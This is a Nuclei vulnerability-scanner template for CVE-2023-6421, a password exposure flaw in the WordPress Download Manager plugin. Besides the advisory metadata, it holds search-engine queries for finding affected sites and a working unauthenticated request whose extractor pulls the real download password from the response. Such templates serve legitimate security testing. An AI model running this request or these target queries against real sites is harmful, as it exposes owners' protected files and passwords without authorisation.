id: CVE-2023-6421

info:
  name: WordPress Download Manager - File Password Exposure
  author: ritikchaddha
  severity: medium
  description: |
    The WordPress Download Manager plugin contains a vulnerability that allows attackers to obtain passwords for password-protected downloads by sending a specially crafted request to the validate-password API endpoint.
  impact: |
    Unauthenticated attackers can obtain passwords for password-protected downloads by sending crafted requests to the validate-password API endpoint.
  remediation: |
    Update the WordPress Download Manager plugin to the latest version.
  reference:
    - https://wpscan.com/vulnerability/244c7c00-fc8d-4a73-bbe0-7865c621d410/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-6421
    cwe-id: CWE-200
    epss-score: 0.02437
    epss-percentile: 0.82153
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="wp-content/plugins/download-manager/"
    google-query: inurl:"/wp-content/plugins/download-manager/"
    shodan-query: html:"wp-content/plugins/download-manager/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,exposure,download-manager,vuln

http:
  - raw:
      - |
        POST /index.php?rest_route=/wpdm/validate-password  HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __wpdm_ID={{id}}&dataType=json&execute=wpdm_getlink&action=wpdm_ajax_call&password=123322
 # pass the password protected file id in the 'id' parameter `-V id=123`

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success"'
          - 'op":"'
          - 'Wrong Password'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: json
        name: password
        json:
          - ".op"
# digest: 4b0a00483046022100f03ee0b38c60a8e03fb39288d5e33254a4cd4727f437393c9028b3b7636a4bef02210095391e0e6b508f9729eb575e463f84cb070fb6fdaf72712c8e3384f21cfe91f8:922c64590222798bb761d5b6d8e72950